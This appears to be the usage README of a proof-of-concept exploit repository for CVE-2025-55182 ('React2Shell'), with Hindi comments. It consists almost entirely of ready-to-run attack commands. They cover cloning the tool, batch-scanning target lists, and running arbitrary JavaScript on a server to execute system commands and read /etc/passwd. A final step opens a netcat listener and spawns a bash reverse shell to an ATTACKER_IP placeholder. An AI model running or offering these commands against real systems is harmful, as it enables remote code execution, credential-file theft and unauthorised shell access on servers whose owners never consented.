____  _____    _    ____ _____ ____  ____  _   _ _____ _     _
   |  _ \| ____|  / \  / ___|_   _|___ \/ ___|| | | | ____| |   | |
   | |_) |  _|   / _ \| |     | |   __) \___ \| |_| |  _| | |   | |
   |  _ <| |___ / ___ \ |___  | |  / __/ ___) |  _  | |___| |___| |___
   |_| \_\_____/_/   \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
                                                    [ CVE-2025-55182 ]

# रिपॉजिटरी क्लोन करें
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182

# डिपेंडेंसी इंस्टॉल करें
pip install requests

# स्कैनर चलाएँ
python3 exploit_cve_2025_55182_v2.py -h

usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
                                    [--js JS] [--extract] [--sleep SECONDS]
                                    [--callback URL] [--dns DOMAIN] [-v]
                                    [--no-color] [--timeout TIMEOUT]

python3 exploit_cve_2025_55182_v2.py -t https://target.com

# बुनियादी सत्यापन (डाइजेस्ट विविधता)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify

# समय-आधारित सत्यापन के साथ
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5

# OOB कॉलबैक के साथ (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com

# विस्तृत आउटपुट के साथ पूर्ण सत्यापन
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
    --sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v

# Node.js वर्जन प्राप्त करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.version" --extract

# सिस्टम कमांड निष्पादित करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('child_process').execSync('id').toString()" --extract

# फ़ाइल पढ़ें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('fs').readFileSync('/etc/passwd','utf8')" --extract

python3 exploit_cve_2025_55182_v2.py -f targets.txt

# वर्जन डिटेक्शन (डिफ़ॉल्ट मोड)
python3 exploit_cve_2025_55182_v2.py -t https://target.com

# RCE सत्यापन
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify

# कई लक्ष्यों का बैच स्कैन
python3 exploit_cve_2025_55182_v2.py -f targets.txt

# विस्तृत आउटपुट
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v

# समय-आधारित + OOB सत्यापन
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
    --sleep 5 --callback your-id.oastify.com

# सर्वर जानकारी निकालें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.version" --extract

# कमांड निष्पादित करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "require('child_process').execSync('whoami').toString()" --extract

# लिसनर प्रारंभ करें
nc -lvnp 443

# रिवर्स शेल निष्पादित करें
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
    --js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"